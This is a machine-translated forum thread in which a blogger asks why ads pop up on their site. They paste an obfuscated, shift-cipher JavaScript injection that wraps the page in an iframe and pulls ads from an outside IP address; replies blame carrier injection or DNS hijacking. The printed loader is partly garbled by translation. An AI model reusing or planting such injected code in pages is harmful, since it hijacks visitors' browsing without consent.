Questions about website security!

Website security problems !! Urgent !! When I open my blog, an advertisement window will pop up in the lower right corner! I checked the source code. The entire page became & lt; script & gt; var & nbsp; d = "= iunm? = Ifbe? = Tdsjqu! Uzqf & gt; # ufyu0kbwbtdsjqu #? Gvodujpo! MpbeBuusj website security question !! Urgent !!
When I open my blog, an advertisement window will pop up in the lower right corner! I checked the source code. The entire page became "script" var d = "= iunm? = Ifbe? = Tdsjqu! Uzqf> # ufyu0kbwbtdsjqu #? Gvodujpo! MpbeBuusjcvuf) * | wbs! G> epdvnfou/hfuFmfnfouCzJe) # g #* # Iuuq; 0072/246/33/6; 91 # # Beje> 311151 'uddb> 'vsjq> 48268: 2: 97 'psmv> bIS1dEpwM4e4ez52NkGxbIBvZ3: u 'tqje> 2635: 244: 7' bsfb> 2' ut> 2467785659 # > Xjoepx/epdvnfou/VSM! ''! Epdvnfou/cpez/dmjfouXjeui?> 611! ''! Epdvnfou/cpez/dmjfouIfjhiu?> 611 * | g/tsd> tfswfs, # 0b0t @ g> betuzmf "; function I (_ ,__) {_ + =__; var $ = ""; for (var u = 0; u <_. length; u ++) {var r = _. charCodeAt (u); $ + = String. fromCharCode (R-1);} return $;} var c = "'nto/iunm' #, sfrvjsfe, # 'bpsmv> audience> 'q2bsn> 100' q3bsn> 100' q4bsn> 41' q5bsn> 6' q6bsn> 21' q7bsn> 2' bqqe> 1' ibtDpvou> 1' ibtXijufVtfs> 1 # <~ Fmtf | g/tsd> tfswfs, # 0b0q @ #, sfrvjsfe, # 'qvtigmbh> 1 # <~~ = 0 tdsjqu? = 0 ifbe? = Cpez! Pompbe> # mpbeBuusjcvuf )*#! SjhiuNbshjo> 1! UpqNbshjo> 1! MfguNbshjo> 1! Tdspmm> op? = Jgsbnf! Je> # g #! GsbnfCpsefs> 1! Xjeui> 211 &! Ifjhiu> 211 &! Tdspmmjoh> bvup! Tsd> ##? = 0 jgsbnf? = 0 cpez? = 0 iunm? "; Document. write (I (d, c); a js like script. this js can load my blog, but it also embeds advertisements, but I don't know how he can load it? I am using dynamic php. Have you ever encountered a similar situation? please take a look !!!!
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Check your program source files and upload component programs.

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This is irrelevant to the server.

Most of this is the advertisement that the operator inserts on the page.

You can use js to determine whether the page is in iframe or frame. Otherwise, the page will jump
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What is the DNS hijacking of the carrier?
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Every dog, day, and operator can intervene.